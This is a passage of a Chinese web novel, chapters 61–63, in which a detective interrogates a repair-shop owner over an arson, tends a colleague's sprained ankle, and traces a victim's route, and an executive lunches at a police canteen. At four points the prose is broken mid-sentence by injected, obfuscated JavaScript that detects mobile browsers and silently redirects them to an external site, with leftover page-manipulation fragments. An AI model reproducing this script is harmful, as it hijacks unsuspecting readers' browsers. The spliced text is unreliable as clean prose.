女孩:“哦,是的。这里是我最喜欢的‘时空坐标’,我有时会在这里站上好几个小时,一看再看。前天我看见一只兔子,昨天是一头鹿,今天是你。”* 今天是“你”…… 若把相逢写成一个序列:前天是兔子,昨天是鹿,今天是你。 “你”的出现让数列从随机游走收敛向了唯一解?条件不足,但趋势已经显而易见,大概率明天、后天、以后见到的,都会是你。 果然还是小说家比较会告白。 陶律夏笑了笑,往后翻了几页,抽出夹在书里的一张糖纸,迎着光一看再看,油纸上还留着一点薄荷味的残香。 前天从某刑警的零食盒里拿的…… 罗乐从糖盒里头捻出一颗薄荷糖塞进嘴里,接了杯水放在周平面前,拉开椅子坐到对面:“说说呗,鬼鬼祟祟地上荒地干嘛去了?” “警官,你们不是看到了吗?我去处理废料!”周平眉头紧锁,烦躁地挪了下身子,“用完了占地方,我就想着处理掉……” “废料?”罗乐低低一笑,声音压下来,“你处理的是废料,还是……你用来纵火的M酮?” “什、什么纵火!警官你别乱说!”周平瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277221|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间破音。 罗乐轻轻敲了敲桌面:“裴晓冬从你店里离开,不到一小时就全身烧伤。我们从他的衣物上检测出了M酮的残留。” 周平愣了几秒,片刻后忽然爆吼:“警官!这和我有什么关系!M酮是什么玩意?我倒的就是废料!” 罗乐冷冷一笑,目光锐利:“星期五晚上还说那些桶不能拆,拆了就容易坏,是你的宝贝财产。怎么才过了一天,就成废料了?” “今天有人来修车,我就打开用了!”周平低头支吾。 “啪!”罗乐猛地一掌拍在桌面上,半俯身,双手撑在桌沿:“周平,你是不是把刑警队当幼儿园呢?” 周平下意识往后一缩,一句话都没接。 “3月28号晚上21点50分,也就是裴晓冬走后没多久,你关店后去哪儿了?”罗乐又问。 “我去便利店买东西。”周平垂着头。 “你去便利店买东西买了两小时?你家小区门口监控拍到你零点才回去。” 周平嘴角抽动了一下,嗓音微微拔高:“我从便利店出来,就在路边坐了一会。” “坐路边干嘛?打坐修仙?”罗乐冷笑,眼神逼近,“还是刷手机?” “抽烟!透气!刷手机!警官,这有问题吗?”周平被逼得也硬起声。 罗乐冷冷地盯着他:“你确定不是出门追上裴晓冬,报复他?周平,我告诉你,你是裴晓冬出事前的最后一个联系人!” “我没有!你们别冤枉我!不信的话你们可以查便利店的监控!我在那里买烟,我有付款记录!” “便利店名字写下来。”罗乐推过去一张纸,”还去了哪儿,一个字也别漏。“ 做完笔录已是周日凌晨。 第二天,罗乐复核徐子航实验室的废液,又去查了便利店监控,把检材送去技侦,等到下午,结果还没出来。 他在盥洗室里洗完脸,拎起球拍袋,整个人像充了满电,脚步轻快地走出楼。 刚走到门口,就撞见调查回来的苗川。 “又去打网球?”苗川上下扫了他一眼,忍不住啧声,“你这体力开挂了吧?熬了一天半,你还要去打球?” 罗乐提了提肩上的包带,笑得含糊:“真爱啊,就算只睡两小时,也得挤出一小时去打。” 苗川狐疑地眯起眼:“对着水泥墙练扣杀,还能上瘾成这样?” “和我初恋打。”罗乐别过头笑了笑。 苗川愣了两秒,旋即嗤笑:“少给我扯淡!你真这么出息,我就把信号枪打成烟花秀。” “那画面确实有点壮观。”罗乐听得直乐,又问:“查到什么线索没?” “屁线索都没有。”苗川翻了个白眼,“裴晓冬,朋友没几个,家人也不在京北,最近走动的就一个狱友,前阵子才放出来,滑得要命,嘴里没半句实话。” “哥……”罗乐忽然压低嗓子。 “干嘛?”苗川狐疑地瞟他一眼,一脸戒备,“你这语气让我浑身不自在。” “要是没有十万火急的事儿,你能不能帮我兜着点,让我安心地打一场网球?” 61.意外受伤 开场没打几拍,罗乐就发现陶律夏不再是那个发球都不稳的菜鸟,一出手就是精确打击,角度刁钻,节奏逼人。 幸好这些年没松懈,不然今天真有可能被他按在地上摩擦。二人谁也不肯先松手,比分一路咬得死紧,终于拖到了决胜球。 网球擦着边线飞向罗乐,他仓促回防,抬腕挑了一拍,球乏力地划出一记高高的弧线。 糟了,这不是白白把机会送对面了? 果不其然,陶律夏仿佛早算准了轨迹,前压滑步、抡臂挥拍,再次将球削回。 瞄了一眼飞行轨迹,罗乐便知不太好救,他索性没有再追,让小菜鸟扬眉吐气一次好像也不算丢人…… 球落在界内的清脆响声被一阵刺耳的摩擦音取代,只见陶律夏身子一晃,摔倒在地上….. 罗乐心下一紧,迈着冲刺的步子跑了过去:“怎么样?” “大概率……是扭伤。”陶律夏吸了口气,“不过,结合疼痛程度应该可以排除骨折。” “别动别动!我背你去医院!”罗乐伸手就要把人往背上扶。 陶律夏抬手挡住:“下午、二环内,你觉得以下哪个方案效率更高:叫救护车,还是你背着我狂奔?” “都这样了,你还有心情抬杠?!”罗乐瞪他。 “下肢受伤不影响中枢运作。”陶律夏说着,一只手撑地试图站起来,结果脚踝一软,身体瞬间失衡,往旁边倒去。 完了,这下怕是真的要骨折…… 意想中的疼痛并没有来,腰间被一股力兜住,下一瞬,整个人被打横抱了起来。陶律夏猝不及防地抬头,正撞上罗乐那张带着焦恼的脸:“你还想再摔一次?!亏了我手快!” 日光暖暖地晒着,风也活了,陶律夏没吭声,有些心虚地往那怀里靠去--肩膀宽阔、手臂结实、核心稳定,他早就算过,这幅身材是抱人的理想构造。 从生理学角度看,「爱」不过是□□、多巴胺、去甲肾上腺素之类的神经递质在特定回路内的短期高频释放,平均效应周期约十八个月。可快三年过去了,某些参数依然顽固,此时此刻,心率依然不合常理得有些偏高。 “谁说我要背着你狂奔的?到门口你再叫救护车不是更好。”罗乐边走边念叨。 “你说你,逞什么强啊!那破球有什么好接的?” “为了一雪前耻?非得跟我拼最后一拍,赢我就这么重要?” “嗯。”陶律夏点点头。 “你还真敢说。”罗乐蹲下身,把他放在路边的长椅上。“赢我有什么用?也没人给你颁奖杯。” “不过嘛……”他露出略显得意的笑容,“你赢了我,就相当于赢了你教练,你小子也算是出师了。” “你和周隽打过?”陶律夏问。 “碰上过一次,我的手下败将。”罗乐说着把手伸向陶律夏额头:“脸怎么这么红,没中暑吧?” 陶律夏微微侧过头,避开那双离得太近的眼睛:“情绪波动,或者……体.位改变引起的短暂充血,很快就会缓解。” “体.位、改变?你从哪学的这些词?”罗乐抬手摸了摸鼻尖。 “医学用词!是你想歪!!” “……行吧,陶老师。”罗乐低声嘟囔,“你现在叫救护车,我去把东西收一收。” 救护车来了之后,陶律夏的视线始终没有从球场门口挪开,直到发动机的震动声传来,他才转向驾驶座:“可以再等一下吗?” “怎么了?”一旁的女医护好奇地看他。 “我……家属还没有到。” 女医护笑着解释:“救护车空间有限,你这种情况也不严重,不需要家属陪护吧。” 车子起步,街景飞速倒退,陶律夏把脸转向女医护:“可以借一下您的手机吗?我得打个电话。” “给你……” 电话刚一接通,炸雷似的吼声就劈了过来:“你就不能等我会儿?” 陶律夏不慌不忙地把手机往外移了二十厘米。拨号前,他已经在脑内完成了推演:开场白无外乎质问,音量必然偏高,可能伴随情绪化词汇。 实际与预测完全吻合,陶律夏神色淡定:“救护车到了,我先去医院。” “就不能等我会儿?!我都看见尾灯了!”那头立刻火力全开。 女医护听得直皱眉:“告诉他,这是救护车。” “救护车怎么了!老子警车还能等人!”对面炸得更凶了。 陶律夏正要开口安抚,耳边却骤然安静,低头一看,手机没电了…… “你这家属脾气够大的。”女医护忍不住感叹。 “情绪强烈是面对危机的急性应激反应,属于正常范畴。“陶律夏神色如常,末了又轻轻补了一句,“我哥哥是因为担心我。” 女医护一时无言,她本来还想安慰两句“别放在心上”。毕竟受伤了还要被吼,换了谁心里能舒服?结果人家端着一张美貌的脸,平静地甩出个“正常范畴”…… 她正发愣,就听见美貌患者再次开口,依然是那副客客气气的礼仪腔——“请问,您会不会刚好带了充电宝?” 还惦记着给那暴脾气哥打电话…… 看到走廊长椅上那个熟悉的身影,罗乐悬了一路的心总算安定。他面上还板着,走到跟前把包往旁边的椅子上一丢,又开始数落:“打个球还能带这么多东西的,也就是你了。“ ”还非得买这么贵的拍子,RF97纪念版能随随便便扔地上吗?” 陶律夏抬眸看了他一眼,笑得温温淡淡。 “还笑!”罗乐瞪了他一眼,蹲下身仔细查看脚踝,“感觉怎么样?疼得厉害吗?” “等你缴费,然后做核磁共振。”陶律夏拿出检查单。 罗乐接过:“今天救护车怎么这么快?我出警时观察过,还要停车上人,十五分钟差不多极限了。” “总计九分钟,应该是附近刚好有站点,路况又比较顺。”陶律夏说。 罗乐嗯了一声,从包里摸出一瓶冰饮料,拧开瓶盖塞到陶律夏手里,转身走进缴费的长队。在球场时,算着时间够用,才在饮料机前多停了两分钟。 医院人声鼎沸,叫号声此起彼伏。罗乐排队、办手续,一路小跑去诊室、药房、器械室……折回来时,手里已经拎着护踝、冰袋和一副轻便的拐杖。 送陶律夏回到家,他把人扶到床上坐好,把用得上的东西摆到触手可及的位置。 “我没事了,你回去吧。”陶律夏语气温缓。 “韧带撕裂伴骨膜挫伤,你这状态,我走得了吗?”罗乐没理会这番客套,撕开冰袋动作小心地敷在他脚踝上。 “一级撕裂不算严重,制动48小时后应该就可以戴着护踝走路。”陶律夏低下头,看着罗乐微垂的眉眼:“我会小心的,你去忙吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297714|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你跟我打球摔伤的,我能甩手走人?”罗乐说着又瞥了一眼窗外:“再说了,这不下雨了嘛,我怎么走啊!” 雨点稀稀落落,地面恐怕都没打湿,陶律夏看了一眼,轻笑着收回视线,没再辩驳。 “案子有进展了吗?” “汽修店那老板挺可疑。”罗乐说着又拽了个靠垫压在陶律夏腿下。 陶律夏:“你真的不用回去调查吗?” “少爷!你这资本家的嘴脸能不能收一收?”罗乐指了指墙上的时钟:“这都几点了?合着我现在回去再加个通宵?” “按你的逻辑,犯人作案会挑时间吗?警察不该随时待命?”陶律夏反问。 “……” 话没毛病,可就是听着刺耳。罗乐举起手机晃了晃,一脸「敬业标兵」的表情:“二十四小时在线。” “还要怎么待命?我非得在值班室杵着?还是你去把刘瑞薅起来,让他连夜把检材报告赶出来,我好接着审人?” “检测溶液成分吗?下次我可以帮你做。”陶律夏说。 听到这话,罗乐那幅苦大仇深的样子再也装不住了,他眉眼一弯,抬手在陶律夏发顶轻轻揉了一把:“下班时间都愿意贡献给我?” “那我以后可不客气了!”他说着朝厨房走去,“晚上想吃什么?” “我叫披萨外卖吧。”陶律夏抬声回。 “行,那我明天给你做。” 明天给你做,不是说说而已…… 第二天一早,陶律夏刚进餐厅就看见桌上摆着三明治、牛奶、咖啡、沙拉,色彩搭配堪比餐厅出品。 罗乐正在咖啡液面上拉花,听见动静,他拉开椅子,等陶律夏落座。 见人愣在原地没动,罗乐走上前扶了一把,眉头一扬,露出点揶揄的笑:“怎么了?看见前男友升级为星级大厨,有这么惊讶?” 陶律夏收回视线,在椅子上坐下:“你几点起来的?” “六点,跑完步顺便买了点材料。”罗乐不以为意地端起牛奶喝了一口,“做顿早饭而已,又用不着花太多功夫。” 而已?陶律夏拿起三明治咬了一口—— 半流心的蛋黄柔滑细腻,火腿咸香刚好、边缘微焦,吐司烘得松脆,牛油果与芝士分量刚好。蛋和火腿之间还藏一层炒过的碎青椒,油香和辣意只在舌尖轻轻一点,最后还有一层芒果薄片在口中收了个温热的甜尾。 色泽鲜明、层次丰富、风味均衡,几乎符合三明治的最佳风味公式。 陶律夏慢慢咀嚼,神思不觉飘远了…… 当初那个跟NPC学做菜的“小厨神”,什么时候成了把早餐做得这么有温度又科学的人?直到那道身影压近,他才意识到,自己看了对方太久。 “看我半天了,想说什么?”罗乐把手撑在餐桌边,“抛弃了我这么好的男人,后悔了吧?” 陶律夏端起咖啡,神情自若:“后悔不在我的选项表里,只是早餐超出预期,稍微有点惊讶。” “嘴硬。”罗乐低低笑了一声,几口解决了自己的那份,起身抓起外套。 “要走了?”陶律夏问。 “案子有进度。”罗乐理了理袖口,语气干脆。 “安心养伤,假我给你请!”走到门口,罗乐又转回头,眉眼锋利又带着笑:“我的电话随时接,你得给我提供技术支持。” 陶律夏:“……” 62.三菜一汤 星期一下午,技侦实验室,罗乐翻着报告低声念:“二甲苯?” “二甲苯嘛……”陈建平慢悠悠地刚开了个头。 “行,我先走了,辛苦。”罗乐啪地合上报告,转身就往外走。 没说完的话在嗓子里卡了两秒,陈建平一脸莫名地转头望向冯宁:“他今天怎么这么利落?平时不是恨不得把分子式背下来才肯走?” “可能是心里有数。”冯宁没抬头,手指在键盘上噼里啪啦地敲个不停。 电话响了两声就通了。 陶律夏:“二甲苯?你为什么不在实验室问清楚?我又看不到报告。” “没顾上。”罗乐顺着步梯往下走,“你跟我讲讲。” 陶律夏:“汽修店的环境中,大概率是用在油漆稀释剂或者清洗剂里。” “二甲苯对空气、水体、土壤的污染风险都不低,正常来说,店主不能随便乱倒。我查一下这类产品的环保限值发你,你可以对照检测数据看看,店主是不是用了违规溶剂。” 两人你一言我一语地把报告里的要点讲完,话题渐近尾声,罗乐像是随口一提:“晚上想吃什么?” “你要过来?”陶律夏问。 “废话,你这情况,我能放心?”罗乐推开旋转门,脚下带风地迈下台阶。 可台阶没走完,就觉出不对劲,电话那头安静得太久了。他脚步一缓,低头看了一眼手机:屏幕亮着,通话没断。 一秒、两秒、三秒…… 时间漫长到让罗乐心口发毛,他忽然就怕了,怕听见那句——“别来了”。 风卷着毛絮在半空翻飞,像纷扰的乱雪,罗乐停下脚步定定地站在正午的日头下。 “也没有特别想吃的。”陶律夏终于出声。 罗乐肩膀一松,心也跟着落了地,他抬起手用报告遮着太阳,阔步往办公室走去。 “那你家有高压锅吗?”罗乐又问。 “没有,怎么了?” “知道了,你晚上别点外卖,等我。”没等对方回话,他就挂断了电话。 傍晚,厨房里传来高压锅“咝咝”的排气声,锅里是罗乐炖的骨头汤。瘦肉、排骨、红白萝卜各半,要是换成砂锅慢炖三小时,汤头会更好,可今天没有时间。 学做饭对罗乐来说,曾经是件难事。 起初他以为做饭不过是“照着步骤琢磨一下,就能上手”的技能,结果真动起手来才发现:哪怕一板一眼照着菜谱复刻,厨房依旧能乱成“案发现场”。 也不怪沈月枝这么多年做饭总爱凑合…… 从“蒸米饭放多少水”都要上网查的「厨房菜鸟」到现在能把刀工、火候、调味拿捏得像模像样,罗乐断断续续磨了一年多。 接水、等火的空档,他透过厨房的玻璃门往外望,陶律夏正坐在餐桌上写写划划。罗乐看着看着,心里就涌起甜来,那些把食物炒糊、煮烂、炖黑的惨烈经历,好像都是为了换来眼前的这一刻…… 排气声停了,他泄压开盖,又从蒸锅里取出几个包子,白菜肉馅,食堂公认的金牌面点。做好的菜也一一端上桌:菠菜拌粉丝、葱油手撕鸡、冷豆腐。 “骨头汤,给你补钙。”罗乐随口说着,拿起包子咬了一口。 陶律夏喝完碗里的汤,用实际行动表达了好评:“再来一碗。” 罗乐笑着起身,骨头汤里的钙少得可怜,真正析出的主要是氨基酸和嘌呤,以「陶神」的知识储备,不可能不知道。可他一句都没拆穿,大概是给自己的例外。 吃完饭,罗乐哼着小调把碗筷收进洗碗机,打开小冰箱翻了又翻,扭过头问:“你的酒呢?藏哪儿了?” “戒了。”陶律夏擦着桌面。 冷气拂过脖颈,罗乐半天没动,手指搭在冰箱门边,沉默片刻才缓缓合上。 “汽修店主那边有什么进展吗?”陶律夏像没事人似的问。 罗乐回过神来,拿了一罐气泡水打开喝了:“他那天晚上去倒的是一种廉价但不环保的清洁剂,主要成分二甲苯,和M酮无关。估计我们去得太勤,他怕违规用料的事暴露。” “我查完监控就直接过来了,刚好你也帮我分析分析。”罗乐拿起一张纸往桌面一铺,画了起来。 “裴晓冬21点37分送完最后一单外卖离开汽修店,21点45分接到汽修店主周平的电话,22点15分在双柳公园烧纸。” “而周平当晚21点50分出门,去了个离店巨远的便利店交易,一直到22点30分,他一直坐在便利店外面,像是在等人。” “这么看,他没有作案时间?”陶律夏说。 “对,我也这么想,除非他有同伙。”罗乐盖上笔帽。 陶律夏看着纸上的线路图,又翻了翻地图:“裴晓冬为什么要去那么远的地方烧纸?汽修店到双柳公园,这两个点隔着将近三公里。” “他家住在哪儿?” 罗乐重新拿起红笔,在线路图左下方标了个点:“海中小区。” 陶律夏:“从汽修店走科翔路回海中小区更近,直线距离不到一公里,裴晓冬却绕道去了双柳公园?” 罗乐在纸上补了个十字符号:“再具体一点,他绕道去了双柳公园南侧的十字路口。” “为什么要在十字路口烧纸?”陶律夏问。 “在一些民俗中,十字路口是阴阳交界的地方。”罗乐回。 “那为什么是双柳公园的十字路口?沿途明明有不下十个十字路口,你看这个--” 陶律夏拿出地图:“第五小学所在这条路岂不是更适合烧纸,这里晚上甚至没有什么机动车路过。而双柳公园那一带,不仅车多人多,还有路政施工。” “这条路线是不太合理。”罗乐点点头,“裴晓冬是外卖员,这一带的路况他肯定比导航还熟,没理由走岔。” “要么他有事去了双柳公园附近,然后就近找了个十字路口烧纸,要么……”陶律夏语气一顿,抬眼看着罗乐:“那个地方对他来说,有什么特别的意义。” “我可能漏了点什么。”罗乐一边说,一边抓起椅背上的外套,“周平的留置时间还有四小时,我得过去一趟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307998|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你还回来吗?”陶律夏问。 “弄完估计就晚了,我在单位凑合一宿。”罗乐折回桌边,在纸上写下一串数字,“你有事打这个号码,二十四小时待机。” “那个……”陶律夏叫了一声。 罗乐转过身,门厅昏黄的灯光映在他的脸上,在眼睫下投下一层浅浅的阴影。 “我的车还停在网球场,你明天来的时候,能帮我开回来吗?车牌号北J12131,钥匙就在你手边的托盘里。” “好……”罗乐温声应道。 “周平。”罗乐拉过椅子坐下。 “你好好想清楚,3月28号那天晚上,裴晓冬走了之后,你给他打电话都说了什么,一个字都不要漏。” 周平抬起眼皮,语气不耐:“警官,我都说几遍了。不就是让他帮我跑一趟重新取个饭吗?他不愿意。” 罗乐盯着他:“你都准备给他差评了,他就回你俩字‘不去’?” “他说有别的事。”周平敷衍了一声。 “什么事?”罗乐继续追问。 “我哪知道!”周平烦躁起来,往椅背上一靠,“我又不是他亲爹,他去哪儿我能管得着吗?” “好好配合!”罗乐拍了桌子一把。 “你那些桶可还在我们这儿放着呢,你要再装糊涂,我就全部送到环保局!你自己算算得罚多少钱!” “他说要去买东西,那地儿十点要关门。”周平嘴角动了动,语气软了下来。 “去哪里买东西?”罗乐向前探了探身。 “这我就真不知道了。”周平皱着眉回忆,“他就说自己已经到中山路了,没法帮我取餐……” 从审讯室出来,罗乐出门透气,花坛边,苗川正夹着根烟,火星在夜色里忽明忽暗。 “来一根?”他冲罗乐晃了晃烟盒。 罗乐摆摆手:“不会。” 几辆警车呼啸着驶向大门,蓝红色的警灯在院墙上交替闪烁,光影像水波一样一圈圈荡开。 苗川的目光掠过罗乐的脸,像在打量一个异类:“上班几年了?还没学会?” 罗乐:“百害的东西,我学它干嘛?”苗川抖了抖烟灰,哼了一声:“够惜命的,怎么?你还怕死啊?” 月亮从云层里钻出来,罗乐仰头望着,笑道:“怎么不怕?我对象还小,我得长命百岁,一直陪着他。” 苗川被烟呛得咳了两声,他抬眼瞅着罗乐,像听到什么荒诞的午夜笑话,揶揄道:“你哪来的对象?上小学呢?那你是得多活几年,等人家长大。” 罗乐没接这茬,他嘴角勾着,抬手揉了揉太阳穴,又问回案子:“事发当天,21点30分之后,裴晓冬手机里有没有付款记录?” “没有。”苗川吐了口烟,“怎么?有线索?” “我怀疑他在送完最后一单到双柳公园烧纸之间,绕去了别的地方。”罗乐目光微沉。 苗川想了想,侧头看他一眼:“有没有一个最简单的可能……” “嗯?” “他就是去买纸钱了。” 63.一餐一味 福安寿材店在中山路西段,对面是一家医院,店面不过十来平米,玻璃架上摆满了各式骨灰盒。 一个中年男人正蹲在地上整理黄纸,听见脚步声,他抬头看了一眼,撑着膝盖缓缓站了起来。 “警察,了解点情况。”罗乐晃了一下警官证。 男人的目光在两人身上扫了一圈:“啥事?” 苗川从口袋里摸出照片,往柜台上一放:“这人见过吗?”男人接过照片看了一下:“是个送外卖的吧,平时经常在这边过。” “他什么时候来的?”苗川接着问。 “上个月吧。有一天中午,他来店门口问我几点关门,晚上又过来买了些纸钱。” “是28号吗?”罗乐往前挪了半步。 “记不太清了……” “28号的监控看一下,晚上九点半以后的。”罗乐指了指柜台的显示器。 “被覆盖了。”男人挠挠头。 “……” 苗川嗤笑一声,语气不善:“我们刚查到你这儿,你的监控记录就被覆盖了?” 男人眉头一皱:“七天自动覆盖,就这么设置的。他走后我也就关门了,前后脚的事儿。” “平时呢,也这个点关门?”罗乐倚在柜台前。 “嗯,早晨十点到晚上十点。” “除了买纸钱,你们还聊什么了?”罗乐又问。 “这小伙子……怎么了?”男人迟疑道。 “和一个案子有关。”罗乐朝四周看了看,角落里几捆「天地银行」发行的纸钱,码得整整齐齐。 “您仔细想想,从他进门到离开,你们说过什么?”罗乐继续问道。 “就随口聊了几句,我看他要烧纸就问怎么不带点水果点心一起烧上,他说要去拿饼干。” “饼干?去哪里拿饼干?”罗乐问。 “不知道,他就说‘在附近’。”男人弯腰把黄纸捆成一叠提向角落,“挺有礼貌的小伙子,我给了他一个用过的打火机,还和我道谢半天。” “纸钱付的现金吗?”苗川问。 “嗯,十块钱。” 走出寿材店时正是中午,烈日当头,罗乐抬头扫了眼街面:“这周围晚上十点了还能去哪拿饼干?再说谁家烧纸还得专门买饼干?家里有啥就带点呗。” 苗川抬手挡着太阳:“这事儿,裴晓冬那个油子狱友也见过,说他摆过饼干、糖在那儿拜,都是些小孩爱吃的玩意儿,神神叨叨的。” 两人顺着街边往前走,路过一栋灰色大楼时,苗川抬手指了指:“那儿,就是裴晓冬的前单位。” 罗乐转头望了一眼:“银行?” “嗯。” “落差够大的。” 苗川把本子往外套口袋一塞:“一脚踏错,什么金饭碗都能砸个稀碎。你这几年见的还少吗?好日子和坏日子,有时候就在一线之间。” “受害者家属还没找到吗?”罗乐收回目光。 “卷宗里留的电话、地址都查过了,人早搬走了。”苗川拿出手机看了看,“我去医院看看裴晓冬的情况,下午咱再接着查,大晚上他能上谁家买奥利奥。” “按电动车车程10分钟范围筛吧,回去见,我刚好去趟网球场……”罗乐说着往南边瞅了一眼。 “我说……”苗川不怀好意地笑笑,“你三天两头地往那儿跑,是不是看上网球场的工作人员了?” “你不如说我看上地板和球网,走了。”罗乐冲他摆摆手,朝斑马线走去。 在停车场兜了一圈,罗乐终于在一辆SUV旁找到了陶律夏说的那个车牌——北J12131。 一辆银白色漆面的阿斯顿·马丁,流线的车身在阳光下泛着光。罗乐指尖在车门把手上顿了一下,脑海里随之浮起那次初见—— “这车有什么好?” “能装进阿斯顿·马丁的后备箱。” “你还有阿斯顿·马丁?” “打个比方,想说它小巧,我还没有驾照。” 当时他轻描淡写,仿佛顺嘴胡诌,结果现在又给他装到了…… * 打了两次电话都没通,但老板还是坚持要再等二十分钟。 韩辰叙在平板电脑的行程表里拖拽时间块,在空出的栏位写上“20min”,又把颜色从浅蓝调成灰色。 他看了眼后座,见腾凌涛已微阖着眼,便点开中控屏,调出熟悉的冥想音乐。等待的时间,老板习惯做正念练习,放松大脑。 十分钟后,韩辰叙又去门卫室拨号,这一次终于接通。返回途中,一个年轻男子与他错肩而过,径直拐进市局院内。 他下意识停顿,扭头多看了一眼,那身影似曾相识,不是工作场合的照面,不是夜场酒会的寒暄,像是更早一些、无法立即对上的记忆。 没有时间细想,韩辰叙走回车里低声同腾凌涛汇报:“老板,他说……等「一会儿」。” 「一会儿」属于老板痛恨的无效词汇,但这次他却表现出异乎寻常的耐心:“等等吧,正好添点胃口。” 接到门卫室电话时,李达坤还以为又是哪个案子的家属要来哭闹一场,结果是实习生的舅舅…… 总裁也能堵门? 他迈着六亲不认的步伐走到大门口,一个男人迎上来。深蓝色西装配浅蓝色衬衫,衬衣扣子松到第二颗,没打领带,黑色金属框眼镜压在鼻梁上。男人款款站定,姿态从容,像下一秒就能开发布会。 “李队长,我是腾凌涛。” 两人的视线在空中交锋了一瞬,李达坤回敬了个点头。 “一直想约您聊聊,奈何您没空,就冒昧上门了。”腾凌涛微微颔首,气度摆得十分到位。 “我在周围订了家湖北菜,车程五分钟。蓼茸蒿笋,正是春味,不知是否可以和李队长一起午餐?” 有备而来,连老子祖籍湖北都打听清楚了,李达坤眉梢一挑,慢悠悠道:“不好意思,腾总。八项规定您听过吧?这种饭局,不太方便。” “抱歉,我以为吃顿便饭没关系。”腾凌涛抬起手腕看了眼表。 李达坤余光一瞥,本以为能见着块绿水鬼或者陀飞轮,结果是块运动款,表盘图案还是……「放电耗子」的尾巴?果然是精英会玩的小把戏,人设武装到细节。 “没什么事,那我就……”李达坤打了个要撤的手势。 “也许可以去您单位的食堂吃?这个时间点,食堂应该还开吧?” “……” 跑公安局食堂蹭饭?李达坤在心里咂舌,嘴上倒是勾了个礼貌的笑:“您要是真想吃食堂,不如给您外甥打个电话?让他陪着,顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324910|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便还能聊聊天。” “找律夏需要提前约。”腾凌涛温和地笑笑,“我今天来没有约。” “……” 他得预约?老子就能在门口随便堵是吧?李达坤气得牙痒痒,可那个“不”字卡在嗓子眼。人都上门了,要是连顿食堂饭都不肯请,也显得太不尽人意。 于是,他干脆一甩手:“走吧!但我提前说好,咱食堂就大锅菜,油盐不讲究,也没红酒咖啡。” “打扰了。”腾凌涛微微欠身,跟了上去。 到了窗口,李达坤一点也没顾及精英的“减碳”需求,直接走到“硬菜”窗口,给自己点了红烧肉、土豆丝加米饭。 谁知腾凌涛神色不改,也报了同样的菜名。这也能装得住?总裁的伪装力真是一流。 李达坤抻了几张餐巾纸,端着托盘走到角落,刚坐下,就见对方不紧不慢把西装外套一脱,衣袖一挽,俨然一副“企业家调研民生”的架势。 “土豆丝脆度不错,油温掌握得很到位。” “红烧肉块大软糯,甜度刚好,比我常去的一家湘菜馆还对口味。” “李队长,你们食堂伙食不错。” “……” 李达坤眼睁睁地看着他一边点评,一边把“碳水套餐”全扫光,忍不住惊叹道:“不是??你们精英人士不减碳吗?” “人要工作,就得有热量,我下午还有三场会要开。”腾凌涛笑着说完,抬手摘下眼镜,指腹在眉骨间轻轻按了按。 开会确实消耗,三场那得是半条命的节奏……那个略显疲惫的小动作让李达坤忽然反思起了自己的待客之道,好像略微、有些粗暴。 他站起身去六号窗口端回一盘小橘子,往对方面前一推:“咱食堂条件有限,凑合吃吧。” “谢谢。”腾凌涛客客气气地拿起一颗,语气忽然郑重:“李队长,我今天来就是想正式拜托你一件事——” “别带他出现场,是吧?”李达坤替他接完,懒洋洋地抬起眼皮:“滕总,为了这句话跑一趟,有必要吗?” 腾凌涛和他对视,神色坦诚:“李队长一直避着我,我怕因为是托秘书长找您,激起了您的……” “叛逆。” 李达坤:“……” “我不太放心,就想专门来拜访一下。” 吃我一顿红烧肉,还要给我扣帽子!李达坤“啪”地一声,把筷子往桌上一搁:“我叛逆期过得比你们集团上市还早!” “呃,我们没有计划上市。” “……”橘子皮清咧的香气悠悠散开,李达坤猛猛地灌了半杯水,自己真是闲得没事干,才会给他拿橘子吃! 午饭比预计的提前结束了十五分钟,腾凌涛看起来心情颇好。只要是和律夏相关的事,对老板来说似乎都是例外。 一切和律夏相关的?韩辰叙心里一动,那张擦肩而过的脸又在脑海中闪过,好像就在律夏身边…… 一闪而过的思绪被腾凌涛的声音打断—— “辰叙,有一种水果,口感像橘子,但比橘子小很多,直径大概是五厘米,皮很薄,很甜……” “砂糖橘?” 